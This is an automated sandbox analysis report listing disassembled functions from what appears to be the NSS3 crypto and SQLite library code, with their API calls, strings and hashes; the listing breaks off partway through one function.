Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Item_$Alloc_CopyZfree$freememcpy$ArenaStrdup_Valuecallocmallocstrlen
String ID:
API String ID: 476651045-0
Opcode ID: 6fa2181dc9b8bbea3e83d9d92372d6179c3d215b5e3c715d17244f11dc939a98
Instruction ID: b9abc1fbb09ee975af9706f1445bd704a182fbdb5cf11deb469d2f04221358bb
Opcode Fuzzy Hash: 6fa2181dc9b8bbea3e83d9d92372d6179c3d215b5e3c715d17244f11dc939a98
Instruction Fuzzy Hash: F331AFB59002019FDB14DF25ED82A5B7BF8AF18248B044469ED4AC7202FB36E946DBA1

Function 6BA689C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6BA6AE9B,00000000,?,?), ref: 6BA689DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6BA42D6B,?,?,00000000), ref: 6BA689EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6BA42D6B), ref: 6BA68A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6BA42D6B,?), ref: 6BA68A11

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: aa358e5fd60bf52ed6d5b7e07efdcbc5010385c1eff8b3c295c4ddb36eafe9da
Instruction ID: 8587f270e94c21b11b34c06dc16e1f4f40f33bdea07ad47944ca03f30891c27a
Opcode Fuzzy Hash: aa358e5fd60bf52ed6d5b7e07efdcbc5010385c1eff8b3c295c4ddb36eafe9da
Instruction Fuzzy Hash: C611D5F2E402006AFF005A756D82B6B365C9B52BDDF090176ED09DA242F72AD9D4D2B2

Function 6BAD5BC0 Relevance: 15.1, APIs: 10, Instructions: 83COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(8B105D8B,?,?,6BAD80E3,00000000), ref: 6BAD5BD6

Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090AB
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090C9
Part of subcall function 6BB09090: EnterCriticalSection.KERNEL32 ref: 6BB090E5
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB09116
Part of subcall function 6BB09090: LeaveCriticalSection.KERNEL32 ref: 6BB0913F

PR_EnterMonitor.NSS3(840FC085,?,?,6BAD80E3,00000000), ref: 6BAD5BED
PR_EnterMonitor.NSS3(07890478,?,?,6BAD80E3,00000000), ref: 6BAD5C04
PR_EnterMonitor.NSS3(000000F4,?,?,6BAD80E3,00000000), ref: 6BAD5C1B
PR_Unlock.NSS3(0140BCE8,?,?,6BAD80E3,00000000), ref: 6BAD5C4C
PR_Unlock.NSS3(08C48300,?,?,6BAD80E3,00000000), ref: 6BAD5C5F
PR_ExitMonitor.NSS3(8B105D8B,?,?,6BAD80E3,00000000), ref: 6BAD5C76
PR_ExitMonitor.NSS3(840FC085,?,?,6BAD80E3,00000000), ref: 6BAD5C8D
PR_ExitMonitor.NSS3(07890478,?,?,6BAD80E3,00000000), ref: 6BAD5CA4
PR_ExitMonitor.NSS3(000000F4,?,?,6BAD80E3,00000000), ref: 6BAD5CBB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Monitor$Enter$Exit$Value$CriticalSectionUnlock$Leave
String ID:
API String ID: 3915314664-0
Opcode ID: 384dfc62f38c4d5e9f23ed5dafe4cc48e7654db4c4a67260cb5b04653a8445eb
Instruction ID: c5a703262909a2bebff1836cdf1c2d92d089823005aec205fb7d5fdb52a0487f
Opcode Fuzzy Hash: 384dfc62f38c4d5e9f23ed5dafe4cc48e7654db4c4a67260cb5b04653a8445eb
Instruction Fuzzy Hash: 152165B0A106409FDE319A3DED436DBB7F2EB11208F440924D59B86221EB3EF555C742

Function 6BB53980 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 116COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BB53998
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BB53A08
memchr.VCRUNTIME140(0123456789abcdef,00000000,0000000A), ref: 6BB53A18
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BB53A51
memchr.VCRUNTIME140(0123456789abcdef,00000000,?), ref: 6BB53A64

Strings

-, xrefs: 6BB539A7
+, xrefs: 6BB539A2
0123456789abcdef, xrefs: 6BB53A13, 6BB53A2D, 6BB53A5E, 6BB53A63

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memchrtolower$isspace
String ID: +$-$0123456789abcdef
API String ID: 3040594209-2676945536
Opcode ID: b92048f01c1dd94f143d514fe760d5e1a3e9471c3e0d874f01cec512e087ac23
Instruction ID: 98192aa2834c772138e925d98a5e3e6c39ff65788b6ebf46f6538cd9cb27160e
Opcode Fuzzy Hash: b92048f01c1dd94f143d514fe760d5e1a3e9471c3e0d874f01cec512e087ac23
Instruction Fuzzy Hash: 98312BB3E081E64BEB214DBD8C8136BBBDADB85310F040176D85BD7340E16D9D658792

Function 6BA4DA40 Relevance: 13.7, APIs: 9, Instructions: 229threadtimeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(00000001,?,?,?,?,?,00000001,?,00000000), ref: 6BA4DA78

Part of subcall function 6BA41DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6BA41E0B
Part of subcall function 6BA41DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6BA41E24

PR_SetError.NSS3(FFFFE015,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 6BA4DC04
PR_GetCurrentThread.NSS3(?,?,?,?,?,?,00000001,?,00000000), ref: 6BA4DA8E

Part of subcall function 6BB09BF0: TlsGetValue.KERNEL32(?,?,?,6BB50A75), ref: 6BB09C07

Part of subcall function 6BA4C9A0: PORT_ArenaAlloc_Util.NSS3(00000000,00000018,?,00000001,00000000,?,6BA4D864,?,00000000,?), ref: 6BA4C9AE

PR_SetError.NSS3(FFFFE05A,00000000,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 6BA4DB5D
PR_GetCurrentThread.NSS3(?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 6BA4DB70
PR_SetError.NSS3(FFFFE05B,00000000,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 6BA4DB98
PR_GetCurrentThread.NSS3(?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 6BA4DBAD
PR_GetCurrentThread.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 6BA4DC19
PR_GetCurrentThread.NSS3 ref: 6BA4DCAB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorUtil$Choice_DecodeTime$Alloc_ArenaCertCheckTimesValidValue
String ID:
API String ID: 3515923558-0
Opcode ID: f548c5fe44a5ac80a99f9e4cfe218ef923a02a940063b1b8f320a14dddb50e1f
Instruction ID: bab1026282158a9aefdcf0dad330cca3d9d66db511653d370109fbcd3386e143
Opcode Fuzzy Hash: f548c5fe44a5ac80a99f9e4cfe218ef923a02a940063b1b8f320a14dddb50e1f
Instruction Fuzzy Hash: E3715876A00209AFDF009FA8CD41BAF3775EF85714F144028ED58A7251EB79ED91C7A1

Function 6BA48980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6BA47310), ref: 6BA489B8

Part of subcall function 6BAA1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA1228
Part of subcall function 6BAA1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6BAA1238
Part of subcall function 6BAA1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA124B
Part of subcall function 6BAA1200: PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0,00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA125D
Part of subcall function 6BAA1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6BAA126F
Part of subcall function 6BAA1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6BAA1280
Part of subcall function 6BAA1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6BAA128E
Part of subcall function 6BAA1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6BAA129A
Part of subcall function 6BAA1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6BAA12A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6BA47310), ref: 6BA489E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6BA48A00
CERT_CopyRDN.NSS3(00000004,00000000,6BA47310,?,?,00000004,?), ref: 6BA48A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6BA48A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6BA47310), ref: 6BA48AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6BA47310), ref: 6BA48AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6BA47310), ref: 6BA48B1D

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 18a928ea6174c53726bd08c7bb1a8f1c6256479627a50629cac68af815d9dc33
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 0951F975A00210BFEF109F14EC41B3A77A4EF42718F0A82A8DD155B391E7B9E889CBD1

Function 6B9DE890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6B9DE922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6B9DE9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6B9DEA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6B9DEB20
memcpy.VCRUNTIME140(?,?,?), ref: 6B9DEB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6B9DEE04
unknown column "%s" in foreign key definition, xrefs: 6B9DED18
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6B9DEDC2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 3a2e435a4d4ecfe8d59beaa60c97e0d35a8feedbf065d12d1671417d4f8eda54
Instruction ID: 891889816149997f1f6c8092ae875bd2ff018f5692daa1a0e0b5e61ef625707f
Opcode Fuzzy Hash: 3a2e435a4d4ecfe8d59beaa60c97e0d35a8feedbf065d12d1671417d4f8eda54
Instruction Fuzzy Hash: 81028175E14909CFDF04CFAAC480AAEF7B6BF89304F1581A9D815AB351D739E841CBA1

Function 6BA369A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6B9CCA30: EnterCriticalSection.KERNEL32(?,?,?,6BA2F9C9,?,6BA2F4DA,6BA2F9C9,?,?,6B9F369A), ref: 6B9CCA7A
Part of subcall function 6B9CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6B9CCB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6BA36A02
EnterCriticalSection.KERNEL32(?), ref: 6BA36AA6
LeaveCriticalSection.KERNEL32(?), ref: 6BA36AF9
sqlite3_free.NSS3(00000000), ref: 6BA36B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6BA36BA6

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6BA36B9F
winDelete, xrefs: 6BA36B71

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: a1266a8376529162f84063a4416380d7dd44ff756ca538bc0aca910c651d1e42
Instruction ID: 2225c16c53ff50ec7c27b62b6fd64b98806b7b62284d642b6250dd30c9b3e468
Opcode Fuzzy Hash: a1266a8376529162f84063a4416380d7dd44ff756ca538bc0aca910c651d1e42
Instruction Fuzzy Hash: E651E631E04125AFEF04AF68DD5A97E3B75FF87310B084129E516D7280DB3AC946CB92

Function 6BA2BB80 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6BA321BC), ref: 6BA2BB8C
PR_SetError.NSS3(FFFFE890,00000000), ref: 6BA2BBEB
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6BA2BBFB
GetLastError.KERNEL32 ref: 6BA2BC03
PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6BA2BC19
free.MOZGLUE(00000000), ref: 6BA2BC22

Strings

ffff, xrefs: 6BA2BB9B

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Error$CountCriticalInitializeLastSectionSpincallocfree
String ID: ffff
API String ID: 2588245028-3827681309
Opcode ID: 3b287623f502826dd28ad596ecae6d0379859101ebb617b5d240adc12ae2a8f6
Instruction ID: 21e06e2f64f7e63c94e2009484da7c7dc63481d7693b289438c8b213a6dd867d
Opcode Fuzzy Hash: 3b287623f502826dd28ad596ecae6d0379859101ebb617b5d240adc12ae2a8f6
Instruction Fuzzy Hash: 02110679A406016BDF20AF69AD06B1B7AA4AF06F05F48012DF54AD7640DB75D040CBA6

Function 6BB52B70 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41stringCOMMON

Download Yara Rule

APIs

strstr.VCRUNTIME140(?,.dll), ref: 6BB52B81
PR_smprintf.NSS3(%s%s,?,.dll), ref: 6BB52B98
PR_smprintf.NSS3(%s\%s%s,?,?,.dll), ref: 6BB52BB4
PR_smprintf.NSS3(6BB7AAF9,?), ref: 6BB52BC4

Strings

.dll, xrefs: 6BB52B7B, 6BB52BA8, 6BB52BCE
%s\%s%s, xrefs: 6BB52BAF
%s\%s, xrefs: 6BB52B93

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: R_smprintf$strstr
String ID: %s\%s$%s\%s%s$.dll
API String ID: 3360132973-3501675219
Opcode ID: 08a3b3a7a8597bf3b99ef9a4d1657850049eb71412d563f1b84b359704560729
Instruction ID: ef09d5b77d1398ccd84fff992e044217312872013d14545cae2d51c5fb91284b
Opcode Fuzzy Hash: 08a3b3a7a8597bf3b99ef9a4d1657850049eb71412d563f1b84b359704560729
Instruction Fuzzy Hash: C1F0822F9420D43699302C6A6D05D9F3F1DCCD26A4B0404BEFD6862201BB2DD16086F3

Function 6BA5D9D0 Relevance: 12.2, APIs: 8, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 6BA5AB10: DeleteCriticalSection.KERNEL32(D958E852,6BA61397,5B5F5EC0,?,?,6BA5B1EE,2404110F,?,?), ref: 6BA5AB3C
Part of subcall function 6BA5AB10: free.MOZGLUE(D958E836,?,6BA5B1EE,2404110F,?,?), ref: 6BA5AB49
Part of subcall function 6BA5AB10: DeleteCriticalSection.KERNEL32(5D5E6BC5), ref: 6BA5AB5C
Part of subcall function 6BA5AB10: free.MOZGLUE(5D5E6BB9), ref: 6BA5AB63
Part of subcall function 6BA5AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6BA5AB6F
Part of subcall function 6BA5AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6BA5AB76

TlsGetValue.KERNEL32(?,?,?,CE534353,?,00000007), ref: 6BA5DA10
EnterCriticalSection.KERNEL32(0000001C,?,?,?,CE534353,?,00000007), ref: 6BA5DA24
PK11_IsFriendly.NSS3(?,?,?,?,CE534353,?,00000007), ref: 6BA5DA7E
PK11_IsLoggedIn.NSS3(?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BA5DA96
PR_Unlock.NSS3(00000000,?,?,?,CE534353,?,00000007), ref: 6BA5DB17
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BA5DBFB
PR_Unlock.NSS3(00000000), ref: 6BA5DC3C
PR_Unlock.NSS3(00000000), ref: 6BA5DC69

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteUnlockfree$K11_$EnterFriendlyLoggedValuememcpy
String ID:
API String ID: 3222563534-0
Opcode ID: 9a248cdf8c2f1321ca9ff793ccab5bd4680ae605cf42527a9f3a715c95ec6597
Instruction ID: c80172deca27e5412691000ec675203bc3733a8f629891d44be90085be259dfc
Opcode Fuzzy Hash: 9a248cdf8c2f1321ca9ff793ccab5bd4680ae605cf42527a9f3a715c95ec6597
Instruction Fuzzy Hash: BB9192B6E401169BDF00DF68C881E6AB7B2FF44304F198068E9955B351E739FAA1CBD1

Function 6BA8CA30 Relevance: 12.2, APIs: 8, Instructions: 174COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA8CA95
EnterCriticalSection.KERNEL32(00000000), ref: 6BA8CAA9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6BA8C8CF,?,?,?), ref: 6BA8CAE7
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BA8CB09
PK11_GetBlockSize.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?,6BA8C8CF,?,?,?), ref: 6BA8CB31

Part of subcall function 6BA81490: PORT_Alloc_Util.NSS3(0000000C,?,?,?,?,6BA8CB40,?,00000000), ref: 6BA814A1
Part of subcall function 6BA81490: PORT_ZAlloc_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6BA8C8CF,?), ref: 6BA814C7
Part of subcall function 6BA81490: memset.VCRUNTIME140(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA814E4
Part of subcall function 6BA81490: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6BA814F5

PR_Unlock.NSS3(?), ref: 6BA8CB97
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BA8CBB2
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6BA8C8CF), ref: 6BA8CBE2

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: UnlockUtil$Alloc_$BlockCriticalEnterErrorItem_K11_SectionSizeValueZfreememcpymemset
String ID:
API String ID: 2753656479-0
Opcode ID: 1ed2230b189671c2f2c838834b07387ff70510beaafe8e396514817f517583d0
Instruction ID: 47414e00d4d2498e6a731d413c0e73407b885d984d60186983ad186f6cc5e530
Opcode Fuzzy Hash: 1ed2230b189671c2f2c838834b07387ff70510beaafe8e396514817f517583d0
Instruction Fuzzy Hash: 3E5170B1D00119AFDF00DFA8D981AAEBBB4FF09314F044168E914A7611E739EDA0CFA1

Function 6BA888E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6BA888FC

Part of subcall function 6BA9BE30: SECOID_FindOID_Util.NSS3(6BA5311B,00000000,?,6BA5311B,?), ref: 6BA9BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6BA88913

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6BB6D864,?), ref: 6BA88947

